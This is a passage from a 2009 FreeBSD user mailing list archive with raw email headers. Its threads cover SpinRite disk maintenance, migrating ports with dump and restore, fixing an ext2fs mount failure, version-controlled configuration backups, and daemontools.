on a filesystem. > > Ah, I see. So it's primarily intended for diagnosing and recovering > from physically defective disks. Good to know, because there are > times when you exactly need to do this. So it's much more "hardware > oriented" than the usual candidates for recovery programs. > > So the strange mentioning of "Linux and other file systems" just > seems to be of a marketing nature. :-) whatever you would like to call it, I find it accurate description of the product and it avoids false advertising. Not just diagnostics and recovery, it's for preventive maintenance, and healthy operations too. Most people who use it are in a diagnostics and recovery, but if you always use it as preventive maintenance, you'll never need to use it for diagnostics and recovery. People complain about it: "I keep running spinrite, but it never finds problems!" .... exactly, it's doing it's job and not having to recover. It's doing the work the drive needs to swap out bad sectors and everything. > -- > Polytropon > Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:36:57 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 206EA106568E for ; Mon, 24 Aug 2009 21:36:57 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr13.xs4all.nl (smtp-vbr13.xs4all.nl [194.109.24.33]) by mx1.freebsd.org (Postfix) with ESMTP id A95748FC28 for ; Mon, 24 Aug 2009 21:36:56 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr13.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7OLasAV037100; Mon, 24 Aug 2009 23:36:55 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id CE6DCBA7F; Mon, 24 Aug 2009 23:36:54 +0200 (CEST) Date: Mon, 24 Aug 2009 23:36:54 +0200 From: Roland Smith To: PJ Message-ID: <20090824213654.GB43410@slackbox.xs4all.nl> References: <4A929241.5060406@videotron.ca> <4A92B6C4.8070309@videotron.ca> <20090824174937.GA43410@slackbox.xs4all.nl> <4A92DCF5.5000808@videotron.ca> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="nVMJ2NtxeReIH9PS" Content-Disposition: inline In-Reply-To: <4A92DCF5.5000808@videotron.ca> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions@freebsd.org Subject: Re: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:36:57 -0000 --nVMJ2NtxeReIH9PS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 24, 2009 at 02:33:25PM -0400, PJ wrote: > I'm afraid I was a bit impatient=20 Patience is a virtue. Installing stuff can take hours, and a split-second c= an suffice to screw it all up. Been there & done that. :-) > and messed up the already messed up > disk... frankly, I don't recall whatever happened to the thing in the > first place. Can I give you a tip? If you are doing something new or hairy, keep a laptop or even a paper notebook handy and make notes of what you do. Write down the commands that you use and any error messages that you get. My favorite technique is to open emacs (preferably on another machine), sta= rt a terminal/ssh session inside an emacs buffer and then do my thing. This gi= ves me a complete record of what I've done. Save these session (with some added explanations) to a file and you'll know what to do next time, or at least y= ou can explain to others what you've been doing. > anyway, I'm just practicing another minimal install... it's not as bad as= I > had thought... I'm getting it all together now. =20 There is an extremely easy way to get all ports that you need onto a new machine, provided that you have a (base) machine of (a) the same FreeBSD ma= jor version of (b) the same hardware architecture and (c) up-to-date installed ports available. On the base machine, make dump(8)s of the filesystem(s) containing /usr/loc= al, /var/db/ports and /var/db/pkg and save them to files. Transfer those dump files to an external harddisk or DVD. Using restore(8) interactively on the new machine, restore these three directories to their respective filesystems and you've got all ports up and running save for some editing of /etc/rc.co= nf. > Thanks much, I'm beginning > to understand a bit more... this boot stuff sure is complicated... Yep. PC booting is a throwback to an earlier era when 640 kB RAM was all th= ere was and 512 bytes seemed big enough for boot code, because you were writing= in machine language or assembly anyway. If you want a real hair-raising story about the time that assemblers were luxuries, google 'the story of Mel' and be amazed (or horrified). It predat= es PCs, but I think it shows the mind-set of the begin time of (personal) computing. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --nVMJ2NtxeReIH9PS Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqTB/YACgkQEnfvsMMhpyWangCghSlEaIvU2a4rf47M8dpCMxNu mPIAoJIk2nGTIF4phMOg9NkYOR/l2IJ5 =c5cc -----END PGP SIGNATURE----- --nVMJ2NtxeReIH9PS-- From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:41:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 63E14106568D for ; Mon, 24 Aug 2009 21:41:39 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 1F9B48FC0C for ; Mon, 24 Aug 2009 21:41:38 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx02.qsc.de (Postfix) with ESMTP id 284171E233; Mon, 24 Aug 2009 23:41:38 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7OLfbSk002920; Mon, 24 Aug 2009 23:41:37 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Mon, 24 Aug 2009 23:41:37 +0200 From: Polytropon To: Tim Judd Message-Id: <20090824234137.e20fe096.freebsd@edvax.de> In-Reply-To: References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824224003.0b5ac2df.freebsd@edvax.de> <20090824232614.c3a2ca25.freebsd@edvax.de> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:41:39 -0000 On Mon, 24 Aug 2009 15:32:05 -0600, Tim Judd wrote: > Not just diagnostics and recovery, it's for preventive maintenance, > and healthy operations too. Most people who use it are in a > diagnostics and recovery, but if you always use it as preventive > maintenance, you'll never need to use it for diagnostics and recovery. > > People complain about it: "I keep running spinrite, but it never finds > problems!" .... exactly, it's doing it's job and not having to > recover. It's doing the work the drive needs to swap out bad sectors > and everything. Well, and its price is not as high as most recovery tools. So prevention is cheaper than intervention here. :-) -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:44:25 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 90608106568C for ; Mon, 24 Aug 2009 21:44:25 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 1817C8FC1F for ; Mon, 24 Aug 2009 21:44:24 +0000 (UTC) Received: by fxm6 with SMTP id 6so1613924fxm.43 for ; Mon, 24 Aug 2009 14:44:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=hkdKT6LheU24cvZZZK+zmNOopx4/GOjzMm8VcMZwAAU=; b=hysk636qTusAF7U5hLsE2WcfSK5Ln3hbFgJJU3gALW41cg4xfdehUpHorv2nrbwATo osPJwoJ0m7pgrjb0UFgHEdkAFQVE1Dz9yhm2QQTamFjch1N7WgZzKMKHCd4z6mVw8ITx ji9m6A8cE2wOAR2hR1ZnWM13960ZMU1E9iMRY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=MNhnpshFvaSa4AgBNd9bkSUVIxQBZeMwqjP9NQeWr4xgxbmqKMA7VmYNNFknOeX5QS hHg6wwLO6EZa8CtM7AyCim0X5rnrY1VeKm81Nz92HNt1uCaKY/rMSxQRGeRELDgv4W07 5xLrV6x9zCIRRBYT2RKGmq6a0ps97BNJqDYSg= MIME-Version: 1.0 Received: by 10.103.84.1 with SMTP id m1mr2225295mul.34.1251150264177; Mon, 24 Aug 2009 14:44:24 -0700 (PDT) In-Reply-To: <20090824232219.a80ecd77.freebsd@edvax.de> References: <20090824232219.a80ecd77.freebsd@edvax.de> Date: Mon, 24 Aug 2009 22:44:24 +0100 Message-ID: From: Jeronimo Calvo To: Polytropon Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:44:25 -0000 True you are right... I was using the incorrect syntax and the incorrect word hehehhe well I did try as well using the correct procedure: Thats the result (mounted but not accesible) [root@ /media/DATOSWIN]# mount /dev/ad8s1a on / (ufs, local) devfs on /dev (devfs, local) /dev/ad8s1e on /tmp (ufs, local, soft-updates) /dev/ad8s1f on /usr (ufs, local, soft-updates) /dev/ad8s1d on /var (ufs, local, soft-updates) /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) [root@ /media/DATOSWIN]# *mount -t ext2fs /dev/ad6s1 /ext2* [root@ /media/DATOSWIN]# cd /ext2 *bash: cd: /ext2: Not a directory* [root@ /media/DATOSWIN]# ls -la /ext2 *ls: /ext2: Bad file descriptor* [root@ /media/DATOSWIN]# 2009/8/24 Polytropon > Maybe just malquoted, but... > > On Mon, 24 Aug 2009 20:20:29 +0000, Jeronimo Calvo < > jeronimocalvop@googlemail.com> wrote: > > # mount -t extfs2 /dev/ad6s1 /ext2 > > mount: /dev/ad6s1 : Operation not supported by device > > The command should include -t ext2fs, not extfs2, as far as I > remember. I haven't run Linux for almost 10 years now... > > > > > I tried several times, with not luck, one of those times i was able to > mount > > it, but not to access it, when i tried to cd /ext2 (folder when is > mounted) > > system tells me that ext2 is not a folder... > > There are no "folders" in the UNIX file system hierarchy. The > things you're mentioning are called directories. I know, that's > "just" terminology, but it's important to use the correct words > context-wise. You don't call the files "sheets of paper", do you? :-) > > > > > > -- > Polytropon > Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:53:18 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CCEBD106568B for ; Mon, 24 Aug 2009 21:53:18 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr8.xs4all.nl (smtp-vbr8.xs4all.nl [194.109.24.28]) by mx1.freebsd.org (Postfix) with ESMTP id 485DE8FC08 for ; Mon, 24 Aug 2009 21:53:17 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr8.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7OLrGZZ073284; Mon, 24 Aug 2009 23:53:16 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 7A99BBA7F; Mon, 24 Aug 2009 23:53:16 +0200 (CEST) Date: Mon, 24 Aug 2009 23:53:16 +0200 From: Roland Smith To: Maxim Khitrov Message-ID: <20090824215316.GC43410@slackbox.xs4all.nl> References: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="f0KYrhQ4vYSV2aJu" Content-Disposition: inline In-Reply-To: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: Free BSD Questions list Subject: Re: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:53:18 -0000 --f0KYrhQ4vYSV2aJu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 24, 2009 at 11:57:25AM -0400, Maxim Khitrov wrote: > Hello all, >=20 > I'm setting up a firewall using FreeBSD 7.2 and thought that it may > not be a bad idea to have a continuous backup for important files like > pf and dnsmasq configurations. > My initial thought was to create a mercurial repository at the file > system root and exclude everything except for explicitly added files. > I'd then run something like "hg commit -m `date`" from cron every 10 > minutes to record the changes automatically.=20 Isn't this ass-backwards? Configuration files shouldn't change suddenly. My system is to keep all configuration files that I have changed from their defaults in a revision control system repository. That is where I add and (after testing) commit changes to those files. I then use an install script= to copy changed files (based on SHA1 checksum) to their correct location in /e= tc or /usr/local/etc and run restart commands if necessary. So installation is always done from the repository to the filesystem. If a change doesn't work= I just check out the last good version of the file(s), re-run the install scr= ipt and we're back to normal. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --f0KYrhQ4vYSV2aJu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqTC8wACgkQEnfvsMMhpyW2zACfYfTHn/fHLf6i9mgwnAkB0K2Z SRcAnjZNxWtZfuHhbgtMGauF99PsFNX2 =Wn99 -----END PGP SIGNATURE----- --f0KYrhQ4vYSV2aJu-- From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 21:54:28 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7ED381065690 for ; Mon, 24 Aug 2009 21:54:28 +0000 (UTC) (envelope-from prvs=48067dc8c=pschmehl_lists@tx.rr.com) Received: from ip-relay-002.utdallas.edu (ip-relay-002.utdallas.edu [129.110.20.112]) by mx1.freebsd.org (Postfix) with ESMTP id 0F5AE8FC18 for ; Mon, 24 Aug 2009 21:54:27 +0000 (UTC) X-Group: RELAYLIST X-IronPort-AV: E=Sophos;i="4.44,267,1249275600"; d="scan'208";a="15405301" Received: from smtp3.utdallas.edu ([129.110.20.110]) by ip-relay-002.utdallas.edu with ESMTP; 24 Aug 2009 16:25:02 -0500 Received: from utd65257.utdallas.edu (utd65257.utdallas.edu [129.110.3.28]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp3.utdallas.edu (Postfix) with ESMTPSA id 89B664E6FE; Mon, 24 Aug 2009 16:25:02 -0500 (CDT) Date: Mon, 24 Aug 2009 21:25:02 +0000 From: Paul Schmehl To: John Almberg , freebsd-questions@freebsd.org Message-ID: <79AB78CC17E87799F705E68E@utd65257.utdallas.edu> In-Reply-To: <87C694DA-8C7F-4DC2-A1B4-6C38542D14D9@identry.com> References: <87C694DA-8C7F-4DC2-A1B4-6C38542D14D9@identry.com> X-Mailer: Mulberry/4.0.6 (Linux/x86) X-Munged-Reply-To: Figure it out MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: Subject: Re: Newbie discovers two useful apps... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 21:54:28 -0000 --On Monday, August 24, 2009 15:45:16 -0500 John Almberg wrote: > > 2. DJB Daemontools: http://thedjbway.org/daemontools.html > [snip] > > Anyway, I dimly remembered this and dug into the DJB docs. Some will > wonder why I found it easier to read a DJB doc than to read how to > write a rc.d script... An excellent question, but in 5 minutes, I had > my rubycas-server running under daemontools. It is that easy. I still > don't know how to write an rc.d script, but I have to believe it > would take me more than 5 minutes to learn and write. If you have > daemons running, that you started manually from the command line, and > are just hoping you'll remember to re-start them the next time you > reboot, you should really check out daemontools... > > Much better than putting a reminder in your MOD (Me??? I would never > do that!!!) > John, I have tried to convert linux startups scripts over to rc.d scripts for some of my ports. Frankly, it's easier to start from scratch. In some cases it's barely possible at all, especially when the software was written for Linux with no consideration at all for other unix platforms. This particular tip will save a lot of people a lot of grief, I can assure you. Thanks for sharing it. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. ******************************************* "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 22:17:42 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DD53F1065672 for ; Mon, 24 Aug 2009 22:17:42 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 62C548FC0C for ; Mon, 24 Aug 2009 22:17:41 +0000 (UTC) Received: by fxm6 with SMTP id 6so1626693fxm.43 for ; Mon, 24 Aug 2009 15:17:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:cc:content-type; bh=DcStPNly12bLD8H6z9wfLP/er4W3ejl43A+xdfxhMls=; b=x+2jHWuKmtc22vqqbpKh1Oz98XoBQnFF8B5AwLfXpT7yAsW9U3iysv169HqEixxXXK r5R2YbQx+lAG4njA2LDZqtCtgVsN1y5tlSkmFsiDXVm+zFS1N2ZjiZP6lp0dblYPi+yx CROpqf2nHkrHtyJjGUW5aOCMoAZW4AH/n9GDM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:cc:content-type; b=LHjYSq/uHUGgAT6/anmhuRE88kqpbdCTM+Lklwiaq+Y3D8uZLo9S6aUWPpg+09lpBg aZtySU4lDXEIv4vRkNYUG3yboy8sBLGQLWvSQED2DmZQKvlg4RdvtzPqPjQCfsv94s7Y hgHLnuC0BMuo/zR+sTe/stSvCzojXKGHVgGJU= MIME-Version: 1.0 Received: by 10.103.126.36 with SMTP id d36mr2182357mun.104.1251152261156; Mon, 24 Aug 2009 15:17:41 -0700 (PDT) Date: Mon, 24 Aug 2009 23:17:41 +0100 Message-ID: From: Jeronimo Calvo To: Gonzalo Nemmi Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Polytropon , freebsd-questions@freebsd.org Subject: (solved) Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 22:17:42 -0000 Thanks a lot fellas!! problem resolved!!! On 24/08/2009, Gonzalo Nemmi wrote: > > On Monday 24 August 2009 6:44:24 pm Jeronimo Calvo wrote: > > True you are right... I was using the incorrect syntax and the > > incorrect word hehehhe > > > > well I did try as well using the correct procedure: > > > > Thats the result (mounted but not accesible) > > > > [root@ /media/DATOSWIN]# mount > > /dev/ad8s1a on / (ufs, local) > > devfs on /dev (devfs, local) > > /dev/ad8s1e on /tmp (ufs, local, soft-updates) > > /dev/ad8s1f on /usr (ufs, local, soft-updates) > > /dev/ad8s1d on /var (ufs, local, soft-updates) > > /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) > > [root@ /media/DATOSWIN]# *mount -t ext2fs /dev/ad6s1 /ext2* > > [root@ /media/DATOSWIN]# cd /ext2 > > *bash: cd: /ext2: Not a directory* > > [root@ /media/DATOSWIN]# ls -la /ext2 > > *ls: /ext2: Bad file descriptor* > > [root@ /media/DATOSWIN]# > > > > > Here's the problem: > http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/124621 > > Here's how to solve it: > http://forums.freebsd.org/showthread.php?t=912&highlight=ext2fs > > > > 2009/8/24 Polytropon > > > > > Maybe just malquoted, but... > > > > > > On Mon, 24 Aug 2009 20:20:29 +0000, Jeronimo Calvo < > > > > > > jeronimocalvop@googlemail.com> wrote: > > > > # mount -t extfs2 /dev/ad6s1 /ext2 > > > > mount: /dev/ad6s1 : Operation not supported by device > > > > > > The command should include -t ext2fs, not extfs2, as far as I > > > remember. I haven't run Linux for almost 10 years now... > > > > > > > I tried several times, with not luck, one of those times i was > > > > able to > > > > > > mount > > > > > > > it, but not to access it, when i tried to cd /ext2 (folder when > > > > is > > > > > > mounted) > > > > > > > system tells me that ext2 is not a folder... > > > > > > There are no "folders" in the UNIX file system hierarchy. The > > > things you're mentioning are called directories. I know, that's > > > "just" terminology, but it's important to use the correct words > > > context-wise. You don't call the files "sheets of paper", do you? > > > :-) > > > > > > > > > > > > > > > > > > -- > > > Polytropon > > > Magdeburg, Germany > > > Happy FreeBSD user since 4.0 > > > Andra moi ennepe, Mousa, ... > > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > > > -- > Blessings > > Gonzalo Nemmi > From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 22:31:16 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ED069106564A for ; Mon, 24 Aug 2009 22:31:15 +0000 (UTC) (envelope-from gnemmi@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id 9F5838FC19 for ; Mon, 24 Aug 2009 22:31:15 +0000 (UTC) Received: by ywh40 with SMTP id 40so3938696ywh.14 for ; Mon, 24 Aug 2009 15:31:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:from:to:subject:date :user-agent:cc:references:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:message-id; bh=rDy+Wux9lhaQTlxe8KxVgCVCBw62qjEzCeKNuiiiTIg=; b=a2cg/yVk4JjAKjwani/uLIoZuDvu7mNrby3UhgzOqSE/niQ0baZUE2YK/SSRtqvFXz h4ybK9oyIA4smbzIFSWVcGMd7SZ1i2xXZwfnG2oNkSUr91UBox1fGeJulX7gEmVCRoJh uPtFjN+XvnhAnqXUGgbG0kXNi0y70XTMIZiek= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding :content-disposition:message-id; b=tuT1KSqiUW3UV+XOCR1x5i/ldJcaBqqmA7v92u6t7WXtd/pH8tutsC24RiKHl/HGBW /Gngp+18El3zUNCHfeITa++DfRh2Ve6ArpNRmQETAoXzxG1Bm1l59vfaEyZiKNNa2a70 EPqOXgLMcWGLy+6bm9/sHTKVw+E3cOXAsW83Y= Received: by 10.90.210.20 with SMTP id i20mr4389474agg.32.1251151340411; Mon, 24 Aug 2009 15:02:20 -0700 (PDT) Received: from ?192.168.1.102? ([190.177.213.106]) by mx.google.com with ESMTPS id 36sm2578617agc.60.2009.08.24.15.02.19 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 24 Aug 2009 15:02:20 -0700 (PDT) From: Gonzalo Nemmi To: freebsd-questions@freebsd.org Date: Mon, 24 Aug 2009 19:02:18 -0300 User-Agent: KMail/1.9.10 References: <20090824232219.a80ecd77.freebsd@edvax.de> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200908241902.18489.gnemmi@gmail.com> Cc: Polytropon , Jeronimo Calvo Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 22:31:16 -0000 On Monday 24 August 2009 6:44:24 pm Jeronimo Calvo wrote: > True you are right... I was using the incorrect syntax and the > incorrect word hehehhe > > well I did try as well using the correct procedure: > > Thats the result (mounted but not accesible) > > [root@ /media/DATOSWIN]# mount > /dev/ad8s1a on / (ufs, local) > devfs on /dev (devfs, local) > /dev/ad8s1e on /tmp (ufs, local, soft-updates) > /dev/ad8s1f on /usr (ufs, local, soft-updates) > /dev/ad8s1d on /var (ufs, local, soft-updates) > /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) > [root@ /media/DATOSWIN]# *mount -t ext2fs /dev/ad6s1 /ext2* > [root@ /media/DATOSWIN]# cd /ext2 > *bash: cd: /ext2: Not a directory* > [root@ /media/DATOSWIN]# ls -la /ext2 > *ls: /ext2: Bad file descriptor* > [root@ /media/DATOSWIN]# > Here's the problem: http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/124621 Here's how to solve it: http://forums.freebsd.org/showthread.php?t=912&highlight=ext2fs > 2009/8/24 Polytropon > > > Maybe just malquoted, but... > > > > On Mon, 24 Aug 2009 20:20:29 +0000, Jeronimo Calvo < > > > > jeronimocalvop@googlemail.com> wrote: > > > # mount -t extfs2 /dev/ad6s1 /ext2 > > > mount: /dev/ad6s1 : Operation not supported by device > > > > The command should include -t ext2fs, not extfs2, as far as I > > remember. I haven't run Linux for almost 10 years now... > > > > > I tried several times, with not luck, one of those times i was > > > able to > > > > mount > > > > > it, but not to access it, when i tried to cd /ext2 (folder when > > > is > > > > mounted) > > > > > system tells me that ext2 is not a folder... > > > > There are no "folders" in the UNIX file system hierarchy. The > > things you're mentioning are called directories. I know, that's > > "just" terminology, but it's important to use the correct words > > context-wise. You don't call the files "sheets of paper", do you? > > :-) > > > > > > > > > > > > -- > > Polytropon > > Magdeburg, Germany > > Happy FreeBSD user since 4.0 > > Andra moi ennepe, Mousa, ... > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- Blessings Gonzalo Nemmi From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 22:32:49 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 668FA106568E for ; Mon, 24 Aug 2009 22:32:49 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr11.xs4all.nl (smtp-vbr11.xs4all.nl [194.109.24.31]) by mx1.freebsd.org (Postfix) with ESMTP id 11FC58FC17 for ; Mon, 24 Aug 2009 22:32:48 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr11.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7OMWl3n008007; Tue, 25 Aug 2009 00:32:47 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 33EDFBA9C; Tue, 25 Aug 2009 00:32:47 +0200 (CEST) Date: Tue, 25 Aug 2009 00:32:47 +0200 From: Roland Smith To: Kelly Martin Message-ID: <20090824223247.GD43410@slackbox.xs4all.nl> References: 